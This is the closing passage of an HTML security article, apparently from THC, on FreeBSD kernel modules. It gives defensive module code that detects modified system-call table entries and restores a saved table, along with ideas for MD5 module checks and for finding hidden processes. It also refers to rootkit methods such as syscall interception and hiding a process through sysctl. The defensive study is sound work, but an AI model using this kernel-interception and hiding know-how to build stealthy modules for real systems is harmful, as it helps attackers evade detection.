4245  if (sysent[SYS_lchown].sy_call!=lchown) error[SYS_lchown]=1;  
4246  if (sysent[SYS_getdents].sy_call!=getdents) error[SYS_getdents]=1; 
4247  if (sysent[SYS_lchmod].sy_call!=lchmod) error[SYS_lchmod]=1;
4248  if (sysent[SYS_lutimes].sy_call!=lutimes) error[SYS_lutimes]=1;
4249  if (sysent[SYS_modnext].sy_call!=modnext) error[SYS_modnext]=1;
4250  if (sysent[SYS_modstat].sy_call!=modstat) error[SYS_modstat]=1;
4251  if (sysent[SYS_modfnext].sy_call!=modfnext) error[SYS_modfnext]=1;
4252  if (sysent[SYS_modfind].sy_call!=modfind) error[SYS_modfind]=1;
4253  if (sysent[SYS_kldload].sy_call!=kldload) error[SYS_kldload]=1;
4254  if (sysent[SYS_kldunload].sy_call!=kldunload) error[SYS_kldunload]=1;
4255  if (sysent[SYS_kldfind].sy_call!=kldfind) error[SYS_kldfind]=1;
4256  if (sysent[SYS_kldnext].sy_call!=kldnext) error[SYS_kldnext]=1;
4257  if (sysent[SYS_kldstat].sy_call!=kldstat) error[SYS_kldstat]=1;
4258  if (sysent[SYS_kldfirstmod].sy_call!=kldfirstmod) error[SYS_kldfirstmod]=1;
4259  if (sysent[SYS_getsid].sy_call!=getsid) error[SYS_getsid]=1;
4260  if (sysent[SYS_aio_return].sy_call!=aio_return) error[SYS_aio_return]=1;
4261  if (sysent[SYS_aio_suspend].sy_call!=aio_suspend) error[SYS_aio_suspend]=1;
4262  if (sysent[SYS_aio_cancel].sy_call!=aio_cancel) error[SYS_aio_cancel]=1;
4263  if (sysent[SYS_aio_error].sy_call!=aio_error) error[SYS_aio_error]=1;
4264  if (sysent[SYS_aio_read].sy_call!=aio_read) error[SYS_aio_read]=1;
4265  if (sysent[SYS_aio_write].sy_call!=aio_write) error[SYS_aio_write]=1;
4266  if (sysent[SYS_lio_listio].sy_call!=lio_listio) error[SYS_lio_listio]=1;
4267  if (sysent[SYS_yield].sy_call!=yield) error[SYS_yield]=1;
4268  if (sysent[SYS_thr_sleep].sy_call!=thr_sleep) error[SYS_thr_sleep]=1;
4269  if (sysent[SYS_thr_wakeup].sy_call!=thr_wakeup) error[SYS_thr_wakeup]=1;
4270  if (sysent[SYS_mlockall].sy_call!=mlockall) error[SYS_mlockall]=1;
4271  if (sysent[SYS_munlockall].sy_call!=munlockall) error[SYS_munlockall]=1;
4272  if (sysent[SYS___getcwd].sy_call!=__getcwd) error[SYS___getcwd]=1;
4273  if (sysent[SYS_sched_setparam].sy_call!=sched_setparam)
4274      error[SYS_sched_setparam]=1;
4275  if (sysent[SYS_sched_getparam].sy_call!=sched_getparam)
4276      error[SYS_sched_getparam]=1;
4277  if (sysent[SYS_sched_setscheduler].sy_call!=sched_setscheduler)
4278      error[SYS_sched_setscheduler]=1;
4279  if (sysent[SYS_sched_getscheduler].sy_call!=sched_getscheduler)
4280      error[SYS_sched_getscheduler]=1;
4281  if (sysent[SYS_sched_yield].sy_call!=sched_yield)
4282      error[SYS_sched_yield]=1;
4283  if (sysent[SYS_sched_get_priority_max].sy_call!=sched_get_priority_max)
4284      error[SYS_sched_get_priority_max]=1;
4285  if (sysent[SYS_sched_get_priority_min].sy_call!=sched_get_priority_min)
4286      error[SYS_sched_get_priority_min]=1;
4287  if (sysent[SYS_sched_rr_get_interval].sy_call!=sched_rr_get_interval)
4288      error[SYS_sched_rr_get_interval]=1;
4289  if (sysent[SYS_utrace].sy_call!=utrace)
4290      error[SYS_utrace]=1;
4291  if (sysent[SYS_sendfile].sy_call!=sendfile)
4292      error[SYS_sendfile]=1;
4293  if (sysent[SYS_kldsym].sy_call!=kldsym)
4294      error[SYS_kldsym]=1;
4295  printf("RESULTS : Modified System Calls \n\n");
4296  printf("number   new-addr\n");
4297  printf("------   --------\n");
4298  for (counter=0; counter <=399; counter++)
4299  if (error[counter]==1)
4300   printf("%d       %p\n", counter, sysent[counter].sy_call);
4301  return 0;
4302 }
4303                                                    
4304         
4305 static moduledata_t syscall_mod = {
4306  "SysentChecker", 
4307  dummy_handler,
4308  NULL
4309 };
4310
4311 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
4312 </xmp>  
4313 Nice code, isn't it :). Well I did not have the time, to write a nice wrapper.
4314 So this is just the plain idea filled in a module. <br>
4315 The idea : Every system call entry (sysent) has a function member (sy_call) as
4316 you know. In order to modify or intercept a system call a hacker has to change
4317 this address pointing to his own function. So we only have to check these
4318 addreesses against the system functions (like write for the SYS_write system
4319 call) to check the system.<br>
4320 Average hackers will be stopped with this way of checking system
4321 integrity, gurus won't (you can insert code without changing the system call
4322 table, I'm working on this at the moment -> look for further releases).
4323
4324 <p>
4325 <H3><A NAME="III.2."></A>2. How to restore old system calls</h3>
4326 <p>    
4327 After detecting a changed system call table it is a good idea to restore the
4328 original one. <br>
4329 I dont't present you the best solution : Start a module on system startup,
4330 copy all sysent fields into another sysent array. If you want to restore every
4331 sysent just copy the saved list to the modified sysent list.
4332
4333 <xmp>
4334 #include <sys/types.h>
4335 #include <sys/param.h>
4336 #include <sys/proc.h>
4337 #include <sys/module.h>
4338 #include <sys/sysent.h>
4339 #include <sys/kernel.h>
4340 #include <sys/systm.h>
4341 #include <sys/linker.h>
4342 #include <sys/sysproto.h>
4343
4344 #include <sys/sysent.h>
4345 #include <sys/proc.h>
4346 #include <sys/syscall.h>
4347 #include <sys/file.h>
4348 #include <sys/malloc.h>
4349 #include <sys/types.h>
4350 #include <sys/lock.h>
4351
4352 #define MAX_SYSCALL_NUM 337
4353
4354 struct sysent save_sysent[MAX_SYSCALL_NUM];
4355
4356 void restoresys(struct proc *p)
4357 {
4358  int counter;
4359  printf("RESTORE\n");
4360  for (counter=0; counter<=MAX_SYSCALL_NUM; counter++)
4361   sysent[counter]=save_sysent[counter];
4362 }
4363
4364
4365 static struct sysent restoresys_sysent = {
4366  0,
4367  restoresys
4368 };
4369
4370 /*
4371  * The function called at load/unload.
4372  */
4373 static int
4374 dummy_handler (struct module *module, int cmd, void *arg)
4375 {
4376  int counter;
4377  if (cmd==MOD_LOAD)
4378  { for (counter=0; counter<=MAX_SYSCALL_NUM; counter++)
4379    save_sysent[counter]=sysent[counter];
4380   sysent[210]=restoresys_sysent;
4381  }
4382  return 0;
4383 }
4384                                                    
4385          
4386 static moduledata_t syscall_mod = {
4387  "SysentRestore", 
4388  dummy_handler,
4389  NULL
4390 };
4391
4392 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
4393 </xmp>
4394
4395 This module should be loaded at system startup (the best would be loading it
4396 before the first connect to the 'hostile' net). Of course, you should add
4397 hiding features to this module. This will also prevent hackers from easily
4398 manipulate your own sysent restore list.
4399
4400 <p>
4401 <H3><A NAME="III.3."></A>3. General ideas for using MD5 Hashes </h3>
4402 <p>
4403 Ok the latter two sections explained how to detect and repair the damage any
4404 hostile module could do, but what about prevention.
4405 My Linux article used a passworded createmodule() system call. This time
4406 you could catch kldload() in order to check the module. Note : I'm not sure
4407 at the moment, but I think catching this system call is not enough, I think
4408 it's possible to load a module without the kldstuff; just an idea.<br>
4409 This time we could use a MD5 hash (digest). The function (macros) we need are
4410 explained in the MD5 man page (section 9). Take a look at those function and
4411 you'll recognize how easy it is to implement. These macros help us to get a
4412 digest on a module someone wants to load on our system. You only have to hard
4413 code some hashes into your kernel for checking the loaded ones. The rest
4414 should be clear.
4415
4416 <p>
4417 <H3><A NAME="III.4."></A>4. How to see a hidden process</h3>
4418 <p>
4419 As I said in part I of this paper every process is saved in the allproc
4420 list which consists of lots of proc structure each holding one process running
4421 on the system. I also said that it's impossible to delete a process from thist
4422 list (scheduling, timing, etc.) so we patched the sysctl system call to hide a
4423 certain process. <br>
4424 This means that we could write some kernel code (module) which will print the
4425 whole allproc list including the process to hide. The code for this module
4426 was already shown in I.7.1.
4427
4428 <p>
4429 <H3><A NAME="III.5."></A>5. Last words</h3>
4430 <p>
4431 Every idea mentioned in this part will stop most (!!) attacks on your system
4432 via kernel modules. Of course, you have to handle things like reboots etc. for
4433 making everything a bit more secure.<br>
4434 BUT any person who really knows the kernel and the system will easily work
4435 around those protections schemes... Bear in mind : It's always harder to
4436 secure a system than to hack it.
4437
4438 <p>
4439 <H3><A NAME="IV."></A>IV. Last things to mention</h3>
4440 <p>
4441 <p>
4442 <H3><A NAME="IV.1."></A>1. What about OpenBSD and NetBSD</h3>
4443 <p>
4444
4445 At the moment I have no running OpenBSD or NetBSD system, but I took a very
4446 brief look at the OpenBSD kernel. It uses the LKM scheme FreeBSD also used in
4447 former releases. The rest of the kernel is very similar to FreeBSD, so I think
4448 there should be no big problems porting the modules in this text to OpenBSD or
4449 NetBSD. THC will work on this, but I really can't tell when we are finished...
4450
4451 <p>
4452 <H3><A NAME="IV.2."></A>2. Resources</h3>
4453 <p>
4454 <p>
4455 <b>[Internet]</b>
4456 <p>
4457 http://www.freebsd.org : everything you need<br>
4458 http://www.thc.org   : THC Homepage (Linux LKM article and lots of more!)<br>
4459 <p>
4460 <p>
4461 <b>[books]</b>
4462 <p>
4463 'The Design and Implementation of the 4.4BSD Operating System' (Addison
4464 Wesley) : One of the best books I know, a bit old but still useful.
4465
4466 <p>
4467 <H3><A NAME="IV.3."></A>3. Greetings</h3>
4468 <p>
4469 <i>groups</i> :<br>
4470 <b>THC, ADM, ech0, deep, CCC</b><br>
4471 <p>
4472 <i>personal</i> : <br>
4473 <b>van Hauser</b><br>
4474 -> thanks for the idea to write this article; and for answering lots of
4475 questions :)<br>
4476 <b>Stealth</b><br>
4477 -> I got your mails :) ext2 fs text is really nice<br> 
4478 <b>mindmaniac</b><br> 
4479 -> again a big thanks for starting the whole thing...<br> 
4480 <b>Solar Designer</b><br> 
4481 -> there's only one word for you : *ELITE*. The next release will deal with the
4482 other kernel stuff, perhaps I'll need some help ;)<br>         
4483 <b>Aleph1</b><br> 
4484 -> what would the world be without bugtraq<br> 
4485 </BODY>
4486 </HTML>